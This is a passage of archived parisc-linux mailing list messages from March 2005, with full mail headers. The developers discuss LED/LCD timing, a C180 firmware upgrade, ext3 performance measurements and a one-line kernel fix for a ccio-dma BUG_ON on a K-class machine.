	by free.linux.hp.com (Postfix) with ESMTP id E189C7D697;
	Sun, 27 Mar 2005 19:13:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21297-05; Sun, 27 Mar 2005 19:13:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA91D7D699;
	Sun, 27 Mar 2005 19:13:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 690277D691
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 19:13:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21297-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 19:13:00 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id EEC227D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 19:12:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9C0DB29803F;
	Sun, 27 Mar 2005 19:13:10 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31259-08; Sun, 27 Mar 2005 19:13:10 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 31928298010; Sun, 27 Mar 2005 19:13:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503271038.42434.dmp@davidmpye.dyndns.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iAI1Yt8+eSE5+76WZHQhaXN2IGRvbwAP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22520

On Sun, Mar 27, 2005 at 09:38:38AM +0000, David Pye wrote:
> > I think I would be ok with it implemented inside the led_get*
> > activity routines. They have access to lastleds and jiffies and
> > that should be enough to figure out how long an LED should stay
> > on if it's already on.  The main routine can stay simple/readable.
> 
> Yep, I hadn't really thought of doing it in there - I'll have a play with it 
> and maybe annoy everyone with another patch in a bit.   Downside is that it's 
> not really the right place to put it *if* you want it to be lcd-only.

I don't really care if it's LCD only.
LCD clearly has different response times than LED.

> The only other way to do it which you might not find as ugly is to move this 
> into the drivers.  ie the drivers would need to be given the responsibility 
> of deciding whether they need to update anything (ie each of them has to 
> store currentleds rather than the generic calculator function). That way, 
> they'll get called each time the work runs, but can decide for themselves 
> whether to actually do anything.  It's only a couple of lines to add to the 
> other functions e.g. lasi.   How does that sound?

Yeah - having the LCD_driver regulate minimum on probably makes just as
much sense since LED really doesn't need it.

Implementing it in led_get* routines was just my first thought.
led_get* controls state of the LEDs and could avoid extra calculations
if it knows about minimum-on time. 
Maybe minimum-on time should be a parameter that's different for LED/LCD
if a hardcoded value isn't acceptable for both.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Easy Firmware Upgrade for C180
Date: Sun, 27 Mar 2005 19:39:03 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20050328023903.GF30963@colo.lackof.org>
References: <913ffb071295fac86a0aade164cf5a27@cox.net>
	<20050326221203.GC9287@colo.lackof.org>
	<7bf52f57850fdda76799870f47398756@cox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623723 13550 80.91.229.3 (22 Nov 2014 02:35:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Erik T.Crouch" <lennier@cox.net>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 02:37:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 28 Mar 2005 04:37:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E14D7D6A8;
	Sun, 27 Mar 2005 19:38:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21305-10; Sun, 27 Mar 2005 19:38:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A0937D6A2;
	Sun, 27 Mar 2005 19:38:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36A0C7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 19:38:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21297-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 19:38:53 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id BBDB67D699
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 19:38:53 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6802329803F;
	Sun, 27 Mar 2005 19:39:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31846-03; Sun, 27 Mar 2005 19:39:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0AFD7298010; Sun, 27 Mar 2005 19:39:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <7bf52f57850fdda76799870f47398756@cox.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uAg1YkUDeSE5+76WZHQhaXN2IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22521

On Sun, Mar 27, 2005 at 12:36:32PM -0600, Erik T.Crouch wrote:
> Actually figured it out, you can dd it to a virtual disc, then make it 
> a bin image which you can translate into an ISO
> 
> It worked great that way, but a little annoying because you have to 
> work with dd to get it going.

cool. If you write up a nice recipe, I'll add it to our collection
of HOW-TO's and a reference from the FAQ.


> Anyway, I have 6.2 firmware on the beast now, but Debian still wont 
> boot, HPMC Code=1 is what I get.  I'm assuming it means I'll have to 
> serial console but I was  hoping to avoid that.
> 
> Any ideas on that?

No. I need console output. Disconnect the keyboard and capture output
from serial port 1. Post the output to the parisc-linux mailing list.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 perf patch#4
Date: Sun, 27 Mar 2005 20:48:38 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20050328034838.GI30963@colo.lackof.org>
References: <20050326103540.GA31557@colo.lackof.org>
	<20050327011849.GD9287@colo.lackof.org>
	<4246B9D2.7070906@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623724 13556 80.91.229.3 (22 Nov 2014 02:35:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 03:47:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 28 Mar 2005 05:47:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5954A7D6A2;
	Sun, 27 Mar 2005 20:48:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21625-08; Sun, 27 Mar 2005 20:48:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F4247D6A3;
	Sun, 27 Mar 2005 20:48:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E287B7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 20:48:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21625-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 20:48:29 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 740837D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 20:48:29 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1F9C829803F;
	Sun, 27 Mar 2005 20:48:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32361-10; Sun, 27 Mar 2005 20:48:38 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A5252298010; Sun, 27 Mar 2005 20:48:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4246B9D2.7070906@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Fxs1Yq03eSE5+76WZHQhaXN2IGRvb4DL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22522

On Sun, Mar 27, 2005 at 01:49:06PM +0000, Joel Soete wrote:
...
> # time rsync -a /Debian-apt/SRC/linux-2.6.12-rc1-pa4-050327 /Sources/CVS-tst
> 
> real    3m34.512s
> user    1m0.730s
> sys     1m6.440s

Joel,
thanks for the data!

But I don't know what it means.
Was the performance bad for that box before?

> I prefer simply tar and so:
> # cd /Debian-apt/SRC
> # time tar -cslpf /chroot/Develop/linux-2.6.12-rc1-pa4.tar2 
> linux-2.6.12-rc1-pa4-050327
> 
> real    0m38.487s
> user    0m3.690s
> sys     0m18.650s
> 
> a sample iostat too :-)
> avg-cpu:  %user   %nice    %sys %iowait   %idle
>           15.70    0.00   47.00   37.30    0.00
> 
> Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
> sda               2.50         0.00        19.60          0        196
> sdb             297.30      5906.40        89.20      59064        892
> sdc              15.10         0.00      7712.80          0      77128
...

That looks fine.

> still have to test on a quicker system as the b2k if that could solve the 
> bug I reproduce on 32bit kernel
> (cf patch log message:"... I suspect the real problem is ffz() wants
> 	an unsigned long and was getting garbage in the top half of the
> 	unsigned int. Not confirmed but that's what I suspect.)

I probably should have posted that speculation to the mailing list
instead of in the commit log...I was quite tired at that point.

That could only be true if ext3 perf issue only shows up in 64-bit kernels.
I don't recall if anyone posted perf results for 32-bit kernels.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class drivers/parisc/ccio-dma.c
Date: Mon, 28 Mar 2005 00:05:27 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20050328070527.GK30963@colo.lackof.org>
References: <20050327161520.GA15500@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623724 13563 80.91.229.3 (22 Nov 2014 02:35:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Anders <dizzey@ing.umu.se>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 07:04:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 28 Mar 2005 09:04:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 211CB7D6AD;
	Mon, 28 Mar 2005 00:05:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22603-01; Mon, 28 Mar 2005 00:05:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19FCC7D6A8;
	Mon, 28 Mar 2005 00:05:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11BA57D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 00:05:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22085-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 00:05:18 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 97AD87D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 00:05:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0923629803F;
	Mon, 28 Mar 2005 00:05:28 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02547-04; Mon, 28 Mar 2005 00:05:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8353C298010; Mon, 28 Mar 2005 00:05:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050327161520.GA15500@ing.umu.se>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Nck1Yt86eSE5+76WZHQhaXN2IGRvb0D5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22523

On Sun, Mar 27, 2005 at 06:15:20PM +0200, Anders wrote:
> im having trouble with booting the 2.6 kernels on a k460.
> 
> --------------------------------------------------------
> CPU(s): 4 x PA8000 (PCX-U) at 180.000000 MHz
> Setting cache flush threshold to 40 (4 CPUs online)
> Found U2 at 0xfff8a000
> kernel BUG at drivers/parisc/ccio-dma.c:1317!

Can you try this change to line 1317?

-       BUG_ON(ioc->pdir_size >= 4 * 1024 * 1024);   /* max pdir size < 4MB */
+       BUG_ON(ioc->pdir_size > (8 * 1024 * 1024));   /* max pdir size <= 8MB */


Sorry - I didn't redo the math in the previous commit.
More than 2GB of RAM should hit that maximum IOVA/DMA space size
and result in an 8MB IO Pdir.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anders <dizzey@ing.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class drivers/parisc/ccio-dma.c
Date: Mon, 28 Mar 2005 14:18:47 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20050328121847.GA12853@ing.umu.se>
References: <20050327161520.GA15500@ing.umu.se>
	<20050328070527.GK30963@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623724 13566 80.91.229.3 (22 Nov 2014 02:35:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 12:18:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 28 Mar 2005 14:18:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE9487D62B;
	Mon, 28 Mar 2005 05:20:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23270-10; Mon, 28 Mar 2005 05:20:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42A347D62E;
	Mon, 28 Mar 2005 05:20:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85BE97D626
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:20:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23679-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:20:10 -0700 (MST)
Original-Received: from tyra.ing.umu.se (tyra.ing.umu.se [130.239.117.83])
	by free.linux.hp.com (Postfix) with ESMTP id F3B2F7D611
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 05:20:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by tyra.ing.umu.se (Postfix) with ESMTP id 883211E29A6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 14:18:57 +0200 (CEST)
Original-Received: from tyra.ing.umu.se ([127.0.0.1])
	by localhost (tyra.ing.umu.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 11892-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 14:18:47 +0200 (CEST)
Original-Received: by tyra.ing.umu.se (Postfix, from userid 1000)
	id 59CDB1E29A4; Mon, 28 Mar 2005 14:18:47 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20050328070527.GK30963@colo.lackof.org>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new at ing.umu.se
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: epM1YqETeSE5+76WZHQhaXN2IGRvbwDz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22524

On Mon, Mar 28, 2005 at 12:05:27AM -0700, Grant Grundler wrote:
> On Sun, Mar 27, 2005 at 06:15:20PM +0200, Anders wrote:
> > im having trouble with booting the 2.6 kernels on a k460.
> > 
> > --------------------------------------------------------
> > CPU(s): 4 x PA8000 (PCX-U) at 180.000000 MHz
> > Setting cache flush threshold to 40 (4 CPUs online)
> > Found U2 at 0xfff8a000
> > kernel BUG at drivers/parisc/ccio-dma.c:1317!
> 
> Can you try this change to line 1317?
> 
> -       BUG_ON(ioc->pdir_size >= 4 * 1024 * 1024);   /* max pdir size < 4MB */
> +       BUG_ON(ioc->pdir_size > (8 * 1024 * 1024));   /* max pdir size <= 8MB */
> 
> 
> Sorry - I didn't redo the math in the previous commit.
> More than 2GB of RAM should hit that maximum IOVA/DMA space size
> and result in an 8MB IO Pdir.
> 
> thanks,
> grant
thanks 
that line you gave solved that problem :)

well im of to write a new report about smp-badness
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anders <dizzey@ing.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k-class smp_call_function at
	arch/parisc/kernel/smp.c:340
Date: Mon, 28 Mar 2005 14:27:49 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20050328122749.GB12853@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
